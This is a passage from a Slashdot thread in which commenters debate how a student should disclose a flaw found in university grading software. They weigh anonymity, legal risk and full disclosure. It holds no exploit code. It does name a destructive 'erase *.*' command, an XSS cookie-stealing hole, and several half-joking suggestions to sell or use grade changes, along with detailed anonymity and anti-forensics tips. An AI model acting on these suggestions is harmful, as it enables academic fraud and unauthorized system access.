      You watch too many movies :) Years from now I won't give a flying fuck whether or not I told some company their software is fucked up, unless of course telling them that landed me in jail and prison bitch to a 6'6" black guy named Tiny. I'd probably care about that. It's not a fork in the road of life, it's a situation where the guy has nothing to gain and lots to lose, so the sane thing to do is just say "fuck it." It's not going to land him a job (if indeed it is Blackboard software, as it's produced by an educational institution) and it's not going to endear him to anyone. If his school finds out he's been hacking the homework system, expulsion with no questions asked. You can be idealistic all you want, but the simple truth of the matter is that this is the way things are. Legal counsel would tell you the same thing I'm saying: Don't start trouble where there is none.

    3. Re:If past experiences have taught us nothing.. by Autolycus · · Score: 0

      I once found a vulnerability on my local library LAN that let people run programs and access the internet when they shouldn't be able to. (like explorer, dos prompt (erase *.*))

      I told the library about it, they ignored me at first. So a few weeks later I dragged a librarian over and gave her a step by step demonstration. It was fixed within a week, and they thanked me.

      This is the reaction I got in a small town in Canada.

  60. YOU DON"T TELL ANYONE by Dragon218 · · Score: 3, Funny

    I need to pass this semester. Don't ruin this for me.

    --

    "It's the little touches that make a future solid enough to be destroyed" --William S. Bourroughs
  61. if blackboard by ramzak2k · · Score: 2, Insightful

    if it is about this blackboard software portal then it is a significant finding. The code is java based and i havnt come a lot of exploits for java based architectures.

    --

    Siggy Say, Siggy Do
    1. Re:if blackboard by Anonymous Coward · · Score: 0

      You can still do SQL injection and other form tricks with poorly-designed Java webapps.

    2. Re:if blackboard by zerocool^ · · Score: 2, Informative

      Or cross-site scripting vulnerabilities. I think it uses php, also, mabey. Not sure.

      I am sure that it uses POST instead of PUT.

      ~Will

      --
      sig?
    3. Re:if blackboard by xenocide2 · · Score: 1

      Theres plenty of fucking exploits, because of JNI, the Java Native Interface. Big surpise there. But there's plenty of ways to get 0wnzered without resorting to stack smashing. Web interfaces tend to be another big vulnerability; a language can't to much to force user input checks. While java's version of SQL is largely immune to 1=1 type password attacks, I doubt corporations are shelling out large bucks for something rocksolid like Oracle. Hell, they're probably running their own dinky DB because its "good enough," or possibly a Microsoft technology.

      --
      I Browse at +4 Flamebait

      Open Source Sysadmin

    4. Re:if blackboard by glob · · Score: 2, Informative

      i've installed blackboard more than once.

      it's mainly perl (on apache with mysql).

      one component (tutornet) is java.

      --
      nostrils
    5. Re:if blackboard by Anonymous Coward · · Score: 0

      >I doubt corporations are shelling out large bucks for something rocksolid like Oracle
      By corporations, I assume you mean universities. Both SCT's Banner and WebCT's Vista product are built around Oracle, btw.

      We use Banner and Vista at my place of employment. The originator stated that the exploit was with a "homework program"... I think that effectively rules out Banner/Web4 as the vulnerability, since they are not even remotely "homework programs." In terms of changing a student's final grade for a course, it isn't like 1980's tv shows where some kid just logs in and changes a letter grade. There is a series of checks and balances between faculty and records staff before anything goes into official academic history, and falsifying that would be nearly impossible. The only version of this exploit that I can imagine is someone being able to change their individual assignment grades mid-semester in a Blackboard/Vista type package, then hoping the professor won't catch the change before (or even after) final grade submission for the course.

    6. Re:if blackboard by Xerithane · · Score: 1

      The code is java based and i havnt come a lot of exploits for java based architectures.

      The code is java, perl, and C based. It's the biggest cluster fuck imaginable. I'm amazed the shit works to start with, and BB6.0 migration: dream fucking on.

      Sorry. I needed to get that out of my system.

      --
      Dacels Jewelers can't be trusted.
  62. well said by Anonymous Coward · · Score: 0

    good advice! however i would like to an a "business" angle to this.

    for $10 a piece this dude could sell his services to his peers for the privilege of having higher test scores - money raised would pay for sex, drugs, and alcohol for the whole freshman year!

  63. The conspiracies on slashdot... by BelugaParty · · Score: 4, Interesting

    Maybe I'm completely nieve, but what the hell is going on?! Has everyone on slashdot hacked or cracked some 31337 prog/dbase/bank ... Why is anonymity supposedly the best policy?! As long as you haven't changed your grades or exploited code (your teachers/the school will be able to tell) then you'll be fine. Are you afraid of getting busted for something else? I mean, it seems completely rational to e-mail the company, print a copy, mail it to yourself (if you are as paranoid as everyone else) and then, if problems arise, mail the university.

    Remember: The university cares about a student paying 20k+ a year to be there, the software company is costing the U money, who would they rather attack?

    Anonymity is for spammers. You'll probably get some recognition in the CS department if you say something about it... unless your teachers are all secretly black hat, and hate your guts for exposing yourself .. :P rediculous

    1. Re:The conspiracies on slashdot... by exhilaration · · Score: 1
      The worst case scenario is NOT that one might end up in jail. The worst case scenario is having the vendor sue you, however frivolously, and ending up with a huge legal debt.

      Another worst case scenario is getting expelled because the university wants to scare everyone else from messing with the system regardless of their intentions. Again, you might be able to appeal this and win, but you might end up losing a semester because of it.

      Either way, it will require an enormous amount of money to mount a legal defense, and an enormous amount of time to appeal university decisions.

    2. Re:The conspiracies on slashdot... by Anonymous Coward · · Score: 0

      If you're anonymous, they CANNOT retaliate.

      If they know who you are, they CAN.

      Why assume extra risk when you'll get nothing out of it? Anonymity is invaluable.

    3. Re:The conspiracies on slashdot... by cyt0plas · · Score: 1

      Uh, huh... You should have tried going to the schools I went to. My high school fired me as a cashier because the cash registers ran DOS, and my college just banned me from CS classes for a year because I told them how someone could bypass their filterng proxy.

      Anonymity is for people who don't like to learn the hard way.

      --
      Contact Me (got tired of viruses emailing me).
  64. Are blank CDs anonymous? by Anonymous Coward · · Score: 1, Funny

    I remember hearing that blank CDs include individual ID numbers and burners will include the serial number of the burner in a special location on the CD. Is this true or is my paranoid memory making things up? A brief online search turned up nothing.

    1. Re:Are blank CDs anonymous? by ArsonPanda · · Score: 2, Funny

      Well, even if this wasn't the result of a standing EM waveform inside your foil hat, how would they know that this particular burner ID belongs to you? you did pay for in cash didn't you?

      --

      --I don't want the world, I just want your half.
    2. Re:Are blank CDs anonymous? by SuperFrink · · Score: 1

      I remember hearing that blank CDs include individual ID numbers

      A while ago someone wanted me to write something that could detect exactly which CD he had shipped was in the CD-ROM drive.

      I looked into it and I think blanks don't have an ID like that because it would involve taking the time to burn a uniqe number onto ever disk. It's possible but would bring the costs up a bit. With pressed disks it would be way too expensive.

    3. Re:Are blank CDs anonymous? by sploxx · · Score: 1

      Emm, think of this:
      He bought his burner via credit card. Oops!
      Now they have direct link between his name and the burned CDs.

    4. Re:Are blank CDs anonymous? by hesiod · · Score: 1

      > Now they have direct link between his name and the burned CDs.

      As long as the Serial number was recorded when you purchased the burner. Or if you were dumb enough (?) to send a warranty/registration card.

  65. Doing it professionally by Anonymous Coward · · Score: 0

    Going through an Attorney means that your identity is constitutionally protected. Whereas hotmail can forced to give up your address (RIAA got names from IP addresses), the lawyer cannot.

    Secondly, an attorney lends an air of credibility to your cause, where being a student with an exploit may not. Obviously you should be taken seriously, but I'm concerned that you may not be. The attorney is also better at threatening lawsuits. :)

    Being a student, you'll probably want to shop this as an opportunity for "pro bono" work. Remember that this could be a great opportunity for an up and coming IP attorney to make a name for themself.

    If you don't have other connections start with your school's law school. Stanford's IP faculty is well represented on the activist side (Grannick, Lessig). A California firm called Townsend & Townsend & Crew (www.townsend.com) has built a decent reputation defending the "little guy" against large corporations (imho).

    Hopefully, you'll be able to have a professional letter from a big firm sent to the company, and they happily fix the problem and feel they've avoided a lawsuit. One last tidbit from me. If you do give them working code, please request that they post a free patch.

    This isn't legal advice

    Cheers,
    Dave

  66. Talk to a Professor by PseudononymousCoward · · Score: 5, Insightful

    Is there a professor that you know well enough to approach about this? I would tell them the facts and ask them what to do.

    It is highly likely that they will be willing to approach the PTB about the issue--leaving you entirely out of it. At most universities, such a software vendor won't try to get your identity from a prof, they know where their bread is buttered.

    If all else fails, drop me an email at roberts period six-two-eight period osu period edu. I'm a prof at Ohio State and I'll be happy to lend a hand.

    1. Re:Talk to a Professor by LostCluster · · Score: 1

      I think that is the best way to handle this. Approach a professor that you trust and who uses this system privately, and ask them for assistance in doing this the white-hat way.

      Remember, the school is the customer of this software vendor, so if you've got proof that their security is not what they claim it to be, your school should be even more upset at the vendor than you are.

      If it comes to the point of public disclosure, it should come through the official channels of your school. That is to say, your proffessor should be the one making the announcement after it being approved by whatever means your school has for validating research, but you deserve to be credited as the one who sparked the investigation. It's a really sad state of affairs if you have to hide after making a discovery such as this.

      As long as you show to everybody around that your hands are clean, you should have nothing to be affaid of. Afterall, in order to charge you with a crime there first has to be something damaged. Secure either a private server that has no real class data on it, or at least get a fictional class set up on the production server, your professor should know who to talk to in order to make that happen. Afterall, as long as the university is on your side, the company's gonna have to stretch quite far to accuse you of anything.

    2. Re:Talk to a Professor by Anonymous Coward · · Score: 0

      Thanks matt

    3. Re:Talk to a Professor by Anonymous Coward · · Score: 0

      drop me an email at roberts period six-two-eight period osu period edu

      Your email address is roberts.628.osu.edu?

      Damn, gonna have to tweak my email validation code again.

    4. Re:Talk to a Professor by teidou · · Score: 1

      From personal repeat experience: Reality is harsh. The only people who might appreciate and help fix the flaw are (1) the actual system administrators, (2) the actual coders for the manufacturer, or (3) CS profs. Anyone else will be upset: both the software company and the University rely on their reputation for security. The CS staff/profs rely on their reputation for cleverness. If you're school is like mine, administration will want to know what you were doing "messing around with that stuff" instead of learning your (Introduction to Whateverology 101). 1) The exploit needs fixing. 2) The company needs to know. 3) They aren't going to give you money just because you found a flaw. 4) If you start by reporting to news/slashdot/whatever, you are being unfair to the school and the company. 5) If you go through regular school or company channels, you will be very lonesome. 6) If you report openly, your grades will be carefully scrutinized. If you try to report anonymously, but your ID gets out, you will be scrutinized closely as a probable bad guy. The Prof is a good idea.

    5. Re:Talk to a Professor by chialea · · Score: 1

      google claims you're untenured, which does technically mean this could blow up in your face. there have been a good number of people denied tenure becasue they were not sufficiently "congenial" -- shit-stirring isn't really "go along to get along". obviously depends on your situation and your school, of course.

      Lea

  67. Dunny, but thanks for the idea by Gherald · · Score: 1

    I'll be doing some 'research' of my own next semester on how to 'improve' my grades ;-)

  68. Anonymous WHAT ?!?! by Archfeld · · Score: 2, Insightful

    Have you NOT figured it out yet...THERE IS NO ANONYMOUS on the net...sorry guys, I assure you SOMEONE has logs, your ISP the border routers along the way, If someone, say the government or a deep pockets corp wants that, they will pull an RIAA and get it...If you want to REALLY be anonymous go to the library, use a type writer, send a snail mail from another zip code and DON'T go into the post office to do it...otherwise just get a business license and approach them as a LICENSED contractor with a proposal at the business level...or just watch it all FALL TO PIECES...

    Remember even LAME infant like encryption is now a federally protected item :( Thanks DMCA, brought to you by the US Gestapo, protecting our homeland from ourselves...

    --
    errr....umm...*whooosh* *whoosh* Is this thing on ?
    1. Re:Anonymous WHAT ?!?! by smeg168 · · Score: 1

      Its really all about open wireless networks for anonymity. Just use your own computer as the mail server and send it on a random open wireless network, besure to tell them that you are doing this that way the poor schmuck who's network you are on doesnt get shit for it.

    2. Re:Anonymous WHAT ?!?! by Anonymous Coward · · Score: 0

      That will stop working very shortly as every WAP will be spamblocked.

    3. Re:Anonymous WHAT ?!?! by MillionthMonkey · · Score: 5, Funny

      Living in a police state doesn't have to be oppressive- it can be fun-pressive!

      The Internet offers no anonymity. So just print out the code on a locally connected printer (not a network printer). Wait until nightfall, then go to a conspicuous area on campus that is free of security cameras. Buy a can of spray paint (NOT online- that would be stupid!) and spray the working exploit code onto a wall of a building.

      Be sure to provide comments and please make sure the code compiles before you spray it.

      Then go home and throw your computer into a vat of nitric acid. And that's that!

    4. Re:Anonymous WHAT ?!?! by Peter+Eckersley · · Score: 1
      Just use your own computer as the mail server and send it on a random open wireless network

      Before you assume that this gives you anonymity, you might want to take a close look at all of the headers your client and MTA puts in that outgoing email...

    5. Re:Anonymous WHAT ?!?! by Anonymous Coward · · Score: 0

      I think that one is pretty obvious. But, is sending a simple email without attachments via telnet easy enough to do?

    6. Re:Anonymous WHAT ?!?! by Kenja · · Score: 2, Funny
      We call the Romans they go the house?

      It says Romans go home.

      No it dosn't.

      --

      "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
    7. Re:Anonymous WHAT ?!?! by murphyslawyer · · Score: 1

      Ironically, at a university there actually IS anonymous e-mail, since most large universities have computer labs where anyone can sit down and use the net, and then you can use any of a variety of anonymous emailer services available on the web to send the email. The only possible record they might have is a video tape, and if you're careful I'm sure you could avoid that.

      --
      I ain't evil, I'm just good looking.
    8. Re:Anonymous WHAT ?!?! by mwilliamson · · Score: 1, Funny

      It is possible, just difficult to post anonymously. I like to use stolen carrier pigeons for this. If you use your own birds, it doesn't work so well. You can get a couple MB of source onto microfiche ya know. Seriously, ever hear of cyberpunk remailers? Ever seen a lab / library / wireless network with no access control?

    9. Re:Anonymous WHAT ?!?! by acet · · Score: 2, Interesting

      Oh please, who in the hell moderated this post 'Insightful'? It's baseless paranoid raving. The Internet is *awash* in information, far more than it is remotely possible to manage, track, log, or process. If someone doesn't know how to be perfectly anonymous on the Internet, then they just haven't thought about it.

      Think about it. You say every connection is logged.. rediculous. Assuming that were even true, logged for how long? A day? A week? When your ISP has 10Gigabits of information pumping through their routers each and every day, how many logs do you think *they're* able to keep? See many truckloads of archive-grade backup tape leaving your local dial-up ISP every week? Even if someone *is* logging everything, the simple fact is that nobody can afford to keep those sort of logs around for long.

      Take this incredibly simple recipe and see how well *you'd* be able to defeat it.

      1.) You have some random super-dangerous bit of information.. you'd like to get it to someone (say an editor at the NY Times), but don't want to be tracked.

      2.) You take yourself to a coffee shop with free wireless access, or your public library, or school, or somewhere else where a lot of people share the same internet resources and aren't tracked.

      3.) From this point of internet access, write up your killer nugget of informational goodness, and ship it off to any half-decent anonymous remailer, with the instructions to delay delivery for 30 days. Most of the decent ones will let you do this. They'd let you delay it for a year or more if you wanted.

      4.) 30 days later, your email is sent, the sh*t hits the fan, and everybody is looking to see who sent it. So now what?

      If they're *really* omnicient, perhaps they can identify from what ISP the email entered the anonymous remailer network. If the ISP is *really really* paranoid and keeps better logs than any single ISP I've ever known of, they *might* be able to identify the customer's link the email was sent from. But guess what, odds are that the little coffee shop you posted the email from probably didn't keep very good logs on it's little Apple Airport WAP and is having a hard time remembering just who was sitting in the coffee shop at 5:43pm 30 days ago.

      You're home free.

      And we haven't even started to get *sophisticated* yet.

      No anonynimity on the internet? please.

    10. Re:Anonymous WHAT ?!?! by rsheridan6 · · Score: 1

      There are still anonymous ways to get online for the paranoid. One obvious way is public internet kiosks, like the ones at the library (here you have to logon with an id number, but there are always computers where someone forgot to logout).

      --
      Don't drop the soap, Tommy!
    11. Re:Anonymous WHAT ?!?! by MntlChaos · · Score: 1

      you mean you don't manually telnet to your ISP's SMTP server!?!? that gives you NO extra headers whatsoever!

    12. Re:Anonymous WHAT ?!?! by Stuart+Gibson · · Score: 1

      Public terminals? With their keyloggers and hidden cameras, mics and fingerprint readers on the 'E' key?

      You've not been paranoid very long...

      Goblin

      --
      It's all fun and games until a 200' robot dinosaur shows up and trashes Neo-Tokyo... Again
    13. Re:Anonymous WHAT ?!?! by rsheridan6 · · Score: 1

      What, you haven't burnt your fingerprints off and gotten prosthetic surgery yet? Loser!

      --
      Don't drop the soap, Tommy!
    14. Re:Anonymous WHAT ?!?! by clarkcox3 · · Score: 2, Funny

      Sure there is, do it like the spammers do -- find an open SMTP relay somewhere in China or Korea, and send it through there.

      --
      There are no tiger attacks in my area and it's all because this rock I'm holding keeps the tigers away.
    15. Re:Anonymous WHAT ?!?! by wirelessbuzzers · · Score: 3, Funny
      Dunno, source code to exploits can be pretty long. It would be embarassing if:

      The grades system is insecure. I have a marvelous exploit of this, but this wall is too small to contain it.


      --
      I hereby place the above post in the public domain.
    16. Re:Anonymous WHAT ?!?! by Dyolf+Knip · · Score: 1

      You havn't figurd out how to typ with using th forbiddn ky yt?

      --
      Dyolf Knip
    17. Re:Anonymous WHAT ?!?! by muffen · · Score: 1

      Also, you have to spray the wall using Times new roman, 12 points, double spacing. Otherwise, it may not be accepted.

    18. Re:Anonymous WHAT ?!?! by tenton · · Score: 1

      LOL...someone mod this up!

    19. Re:Anonymous WHAT ?!?! by robi2106 · · Score: 1

      What about the margins? Doesn't AMA require 1/2" on each side?

      robi

    20. Re:Anonymous WHAT ?!?! by robi2106 · · Score: 1

      Just be sure to use a different university's anon terminal access than the one involved.

      robi

    21. Re:Anonymous WHAT ?!?! by Peter+Eckersley · · Score: 1
      But, is sending a simple email without attachments via telnet easy enough to do?

      You don't need to. It'd be much easier to install exim or postfix, and tweak configurations until there are no giveaways. You can test this by sending emails to yourself and examining the headers.

      For situations requiring extreme caution, you should also find out something about 802.11b and ensure that your card doesn't have a unique ID (MAC address/equivalent) that will give you away. I don't know enough about 802.11b to answer this.

    22. Re:Anonymous WHAT ?!?! by Archfeld · · Score: 1

      This has potential but eventually your traffic passes to a wired network of some business that DOES keep logs....
      Given the desire and a fictional legal front, or say the patriot act you could narrow down the area in a reasonably short time, not that you or I have the resources for this but we all have a relative that does :(

      --
      errr....umm...*whooosh* *whoosh* Is this thing on ?
    23. Re:Anonymous WHAT ?!?! by Archfeld · · Score: 1

      I was thinking smoke signals and the rumormill were the last truly anonymous methods of communication :)

      --
      errr....umm...*whooosh* *whoosh* Is this thing on ?
    24. Re:Anonymous WHAT ?!?! by Archfeld · · Score: 1

      key-stroke loggers ? Heck even the virus scan logs that almost everyone has can provide a great deal of info regarding what comes in and out...
      The only thing you derive from using an environment like that is a chance at physical anonimity.

      --
      errr....umm...*whooosh* *whoosh* Is this thing on ?
    25. Re:Anonymous WHAT ?!?! by Archfeld · · Score: 1

      you a right, I presented the worst possible case, as if you were already 'being watched'. The average person slides thru the system cleanly and silently, but the point is the information is being squirreled away in places you would not even think for reason most of us never even consider. I've supported a HUGE DB for a big financial company, we belong to the NCAG, and buy and sell vast chunks of data to just sift through, so some accountant egg-head can try some new query to sell someone something...
      How many times has an email been posted on usenets, with full headers for archival purposes ? Who knows how many people mirroed it, and where it went from there...
      Uncle Sam has billions and is still printing, a yen to know everything about everyone, for our own good of course, and more time than common sense....A recipe for something evil, and predictably stupid...

      --
      errr....umm...*whooosh* *whoosh* Is this thing on ?
    26. Re:Anonymous WHAT ?!?! by ratfynk · · Score: 1

      monospace or the wall compiler will -wall = f-all no a.out.

      --
      OH THE SHAME I fell off the wagon and use sigs again!
  69. Better than anonymous by MalleusEBHC · · Score: 4, Insightful

    A lot of people here have advocated alerting people about this anonymously. Whether or not you feel this is the correct thing to do, consider including a PGP public key with whaterver submissions you turn over to relevant parties. This way, if it becomes advantageous at a later time to take credit for your actions, you can prove that you were the anonymous whistle-blower.

  70. Best of Both Worlds by Cold+Drink · · Score: 0

    Try an anonymous remailer to let the developers and BugTraq know. You won't get famous or anything, but you'll be contributing without exposing your identity, and thus evading punishment. Its a shame that some of those who fight to make everything in this world better get puished for our good deeds. Unfortunatly, that will probably never change.

    --
    -Cold Drink
  71. Shhhh.... by berb · · Score: 0

    You'll fuck up my 4.0.

    --
    In teh event of an actual emergency this space might provide useful information.
    1. Re:Shhhh.... by Strike · · Score: 1

      Well you're fucking up their v1.0!

  72. Ok, the pool is open, by pair-a-noyd · · Score: 1

    I'm taking bets. $2 to play

    1. The sploit is M$
    2. The sploit is *nix

    1. Re:Ok, the pool is open, by dallask · · Score: 1

      Im game, but what if the sploit is sql? or a cross site scripting hole??? what does that fall under?

      --
      The Code Ninja is swift with his tool, precise in his delivery, and deadly accurate in his execution.
    2. Re:Ok, the pool is open, by pair-a-noyd · · Score: 1

      3. Sploit is "other"

  73. Easy by Anonymous Coward · · Score: 0

    Drop the info in an envelope and mail it to the university... anonymously...

    Don't leave fingerprints on the paper - wear latex rubber gloves when printing it out. Buy a fresh ream of paper with cash and open it only after putting on the gloves. Buy a cheap inkjet to print it out on so they can't trace your printer ink. Melt the printer and ink carts down when you're done and dispose of them discreetly. Take some kind of public transportation - either a bus or a train - to a post office that's at least 25 miles away from the school and drop the envelope (while still wearing the gloves) into the out-of-town mail drop - this ensures that many many people handle the envelope before it gets to the school.

    After you prepare your documents, get a program like bcwipe and do a DoD-style erasure of your hard disk and any other media onto which you may have saved your exploits. DO NOT, NO MATTER HOW TEMPTING, make a backup or keep the material anywhere. Be sure to clean up where the printer was as there will be paper fibers everywhere. Ideally, you should seal the ream of paper and printer in a large plastic bag before you open the paper. This is difficult, but it prevents residue from the ink and/or paper from getting on things.

    Don't forget, pay cash for everything, and make the purchases at different stores, which should ideally be far apart, on different days, preferably over a 2 or 3 week period. Don't buy any two items at the same place. Be sure not to use the stock ink carts that come with the printer - buy new ones at some store other than the one you bought the printer at. Preferably, take a different form of transportation on the return trip than you did on the forward trip to the post office.

    Even doing all of this, their TIA-type database mining might still get you - even though you paid cash for everything. One thing you can do is purchase items with these things that you need that you don't need. For example, a female engaged in this activity might buy jock-itch powder, beer, or other distinctly mens' products. Likewise, a male might buy hair remover, pantyhose, or other distintly womens' products. Be sure to think of creative ways to confuse a database search algorithm into thinking that DIFFERENT PEOPLE bought these things.

    I wrote a delf-destructing script to post this from a local library, where I didn't check anything out, a few minutes after I left. I also turned down the job offer from the CIA because I didn't believe I could really be as anonymous as I wanted...

    1. Re:Easy by Anonymous Coward · · Score: 0

      Caught you! You were the one I followed on the bus because you were wearing latex gloves and then you put something in the drop box. Strange behavior on your part, so I reported you to John Ashcroft.

  74. You can use this... by Mondoz · · Score: 1

    Leverage this to make Microsoft release a Linux client for the Xbox!

    --
    /sig
  75. Show them that it works but... by notetoi · · Score: 1

    don't show them how you do it. If your "...-selftested proof-of-concept exploit code..." actually works, proving to them that there is an exploit shouldn't be too dificult - tell them (software company and the Dean) what grades you are going to change, and then run the program and change some grades - but make sure you keep all your source cod encrypted.

  76. Its called Full Disclosure... by JRHelgeson · · Score: 5, Interesting
    This is a debate that has been taking place in the security industry for some time now. Does Full Disclosure hurt or help the industry. I am of the position that full disclosure helps.

    If bugs are kept secret, the secrets get held in the hands of the few. The unethical hacker [cracker] will eventually exploit the code and use it to their advantage.

    If it weren't for FD, we'd have more 0day exploits because companies would not feel the pressure to release timely updates. It chews up development cycles to go back and put an emergency fix in place for insecure code, test it, and release it. Do you think companies would do this voluntarily? I think not. Too expensive. They'll include it with their next major update and charge for the upgrade or some crap like that.

    I say the medicine is bad, but the disease is worse. Full Disclosure is the Medicine, bad coding the disease.

    We are going to continue down this road of FD debate until software vendors (M$ et al.) start writing secure code. I have said it many times; Requiring patches to achieve security is fundamentally flawed. Coders need to write secure code. The onus is on them. Don't blame the hackers/crackers for airing their dirty laundry. If M$ or whoever loses market share because they consistantly release insecure code that is repeatedly being compromised then that is their fault.

    It was only after being repeatedly beat over the head with the proverbial lead pipe by the hacker community that good ole Bill Gates sent out a memo stating that Security is becoming Microsofts #1 priority. Do you really think he would have done that if we didn't have the Full Disclosure in place? We should not rely on 'security by obscurity' by keeping the exploits secret, or keeping the information reserved for the security elite.

    Send a confidential email to the network administrators and to the company that created the software. State that you will give them adequate time to respond and to release a patch. State that the exploit will undergo full disclosure in two months, or if they request extra time, ask them what measures are being taken to insure the integrity of the information being stored on these computers. If you can hack into the system to raise your grades, others could hack in to lower the hard earned grades of others. Hell, at that point, they should start selling diplomas at the bookstore.

    --
    Good security is based upon reality and common sense. Common sense is a function of having common knowledge.
    1. Re:Its called Full Disclosure... by Anonymous Coward · · Score: 0

      Requiring patches to achieve security is fundamentally flawed. Coders need to write secure code. The onus is on them.

      I think it is fundamentally flawed to rely on programmers producing secure code. Very low-level stuff, sure. But the number of programmers there is very small indeed, relatively.

      Realistically, there needs to be a security model from the disk driver up, that only allows access to the data necessary to perform the task in question.

      The problem with this, of course, is that it is (1) slow, and (2) a pain in the ass to work with. So it might be a while.

    2. Re:Its called Full Disclosure... by bmajik · · Score: 2, Insightful

      Your assessment of Microsoft's interest in security is not accurate. Full disclosure did not cause microsoft to give a damn about security. Security became important at MS when customers started saying "we care about security, your shit sucks, we're not buying it anymore". MS doesn't give a damn about a bunch of egotistical self-serving "researchers" that are looking to sell their name as a brand and shop around for consulting dollars. Security is a priority now at MS because customers have finally said that they want it, and are willing to pay for it. It's that simple.

      MS doesn't as a general rule try and make poor software. It doesn't try to make insecure systems. I'm sure MS loses more sleep and money over its security problems then you do. When you own 50 million lines of the worlds most widely deployed code and never have to issue a security patch, im sure MS will pay you whatever amount of money you can think of to tell them how to do it.

      Incidentally, the ideal system from MS' point of view is staggered disclosure -- exactly what you describe.

      Even people on full disclosure lists are starting to play along with this and realize that releasing exploit code without giving vendors and more importantly people running the affected systems time to patch first is doing the entire internet a huge disservice. It simply isn't responsible, and people making this an emotional or idealistic issue rather than a pragmatic one are the sort of "security people" that i hope eventually fade away...

      --
      My opinions are my own, and do not necessarily represent those of my employer.
  77. That's how Stefan Puffer got indicted by rfmobile · · Score: 2, Informative

    That's exactly how Stefan Puffer got indicted in Houston Texas last year. He provided a demonstration of an insecure county wireless system in front of a newpaper reporter and a county IT employee. He was later no-billed by the county but I'm sure his attorney's bill was a few $$$. -rick

  78. Send in the details on a spoofed email... by Osrin · · Score: 1

    ... address it from somebody who pissed you off, or ran off with that girl you fancied.

  79. How to you think you are really marked? by zekt · · Score: 1

    Ho you think your tutor or lecturer has never seen any of your work before? Do you think s/he is going to get suss when you turn in junk day after day and then all of a sudden you marks get bumped up? Do you think that seeing your tutor/lecturer about the issue is going to prove to them the intelligence you have in the IT subjects you are doing (highly likely!) If you can do this kind of crap you can get A's any time you want.

    If you're really worried, make a hotmail accont, and mail them. The only problem with that approach is come exam day if you are sick, you fail.... if the lecturer knows you and knows your work you'll be cut some slack. I know. I used to be one.

    --
    In my next incarnation, I hope to come back as a code monkey.
    1. Re:How to you think you are really marked? by Anonymous Coward · · Score: 0

      I know. I used to be one.

      Yes, it shows. I just hope you didn't instruct anyone in English grammar.

  80. Here's what I would do... by Th3_Pr0ph3t · · Score: 1

    To begin, it doesn't seem as if you are maliciously trying to hurt the engineers or give yourself an advantage over the students. It also doesn't seem like you were purposely trying to find flaws. I would talk to a teacher, academic advisor, or even the tech people in the library to find out what you can do. Explain that you are only trying to make things better and not publish exploits. The suggestion about sending something in the regular mail could be a good one. I would type up a professional and respectful letter saying how you found it, what the repercussions are of such an exploit, suggestions on how to fix it, and possibly include a CD with your code on it. You don't need a return address and its anonymous so you don't have to be so nervous.

  81. tell your prof... by Anonymous Coward · · Score: 0

    ...and have him report it, dumass! Orbetter yet just let it go and hopefully a couple of retards will exploit it. Lazy ass profs need to learn how to grade and not let corps encroach on our lives anymore.

  82. Big deal?! I found an XSS vulnerability by Anonymous Coward · · Score: 0

    Their java forum has XSS hole in it it can be used to execute arbitrary javascript, in effect stealing session cookie you can effectively get credentials of anyone who reads your post to the forum (discussion board or whatever they call it).

    -ClawFingerZ

  83. Use it to disclose it by donscarletti · · Score: 2, Funny

    Well personally I would have cracked into the program, using the exploit and dumped the exploit, and a file explaining it in a conspicuous location. That's sure to get their attention!

    --
    When Argumentum ad Hominem falls short, try Argumentum ad Matrem
  84. Easy by Audity · · Score: 1

    Report it via email from a throw-away hotmail address using a computer at the public library. It's still possible for them to trace you but I doubt it'd be worth the trouble to them.

    Another possible solution is put the executable source code on cd, with whatever other information you want to include in plain text format and slip it under the door of a computer lab manager, or professor, or whoever you think would be most likely to deal with it.

  85. Make money off of it... by EmagGeek · · Score: 1

    First, create a disclosure document for your IP attorney, then immediately file a method patent application on the bugfix.

    Then, once your provisonal patent application is received, you can offer to license the bugfix (and since it was a method patent, they can't program around you) to the school for a modest fee.

    "Method and Program for closing a known security hole in grade reporting software"

    or something like that... I'd say you'd be a rich man, just don't forget to send me my cut :)

  86. PHD on the way! by westyvw · · Score: 1

    Dont tell anyone. Graduate, then go for your PHD.
    Your thesis is staring you in the face. So simple.

  87. As a university sysadmin.... by WasteOfAmmo · · Score: 5, Interesting

    I can understand wanting to cover your backside with this. Especially since you have 'tested' the exploit. Going to the university may mean the end of your academic career. Going to the company may result in the same in a round about way. The company may feel obligated to report you to the said university.

    If you are serious about getting the expoit fixed then there are a lot of good points already made in the replies:

    • Send it to the company anonymously.
    • Send it to the university IT dept. anonymously.
    Do both and that should get it where you want it to go.

    Now for my take on this (if you were one of my students)...

    You are supplying the source of the proof of concepts, right? I accept no binaries from unkown source, escpecially with your story. You have to convince me that you are not only legit. but being honest. If you approach me you had better be able to prove that you have not altered your grades. This is not due to my morals but due to my obligations to the university.

    I have dealt with students bringing up exploits to me that they have found work in our system. First I have to verify their claim, second I have to consider the damage they may have done (purposefully or not). If this means a call to security then I am obligated to do that. After that I have to consider fixing my system and damage control.

    Note about security: I need not bring security into it but I must document everything incase the incident becomes a concern in the future... Example, next year you suddenly become a honor student.

    A comment by 'has' bothers me... if this is you then you could be in deeper then you want to be... I would suggest cleaning up your act, taking an ethics course and getting on with your degree. This type of un-ethical, and probably illegal (fraud?) activity will eventually catch up with you if continued. Enough preaching.

    Take the suggestions regarding anonymous submissions if your serious about helping.

    Merlin.

    1. Re:As a university sysadmin.... by Anonymous Coward · · Score: 0

      You are supplying the source of the proof of concepts, right? I accept no binaries from unkown source, escpecially with your story. You have to convince me that you are not only legit. but being honest. If you approach me you had better be able to prove that you have not altered your grades. This is not due to my morals but due to my obligations to the university.

      You're cutting absolutely too close to obligations vs morals. Unfortunatly, I had a whistleblower, mind you, who followed through on their obligations to the school system. And, I also did not have any exploits. Just my SDK, chat programs, and my IP, contained in my home directory. I had not signed the AUP contract, and everyone know exactly what it was I was running, all the time, anytime. I also knew a load of weaknesses within the network, and had repeatedly told the techs what was wrong with the security of the network.

      Someone blew the whistle on nothing. As in, they found nothing that they could incriminate me with. Just a CD full of fluff, and my IP.

      Your job is to secure that network, not fuck the academic career of a student's life, understand? Don't bother the kid, it's tested, it works, go fix it, and now.

      As a university sysadmin, if someone came to me with an exploit within our network or systems, I don't care what the kid's done, it's not my job to worry about that. However, unless I want it to go FD, I would go up and fix it.

      Watch your obligations. You could destory someone's academic life that way. Trust me, I have Computer Trespass in the Second Degree (RCW 9A.52.110) on my record, and was forced out of the Seattle School's system, just because of a whistleblower who didn't know what they were blowing the whistle for.

      Me? I'm advocating anonymous FD now.

    2. Re:As a university sysadmin.... by PetWolverine · · Score: 1

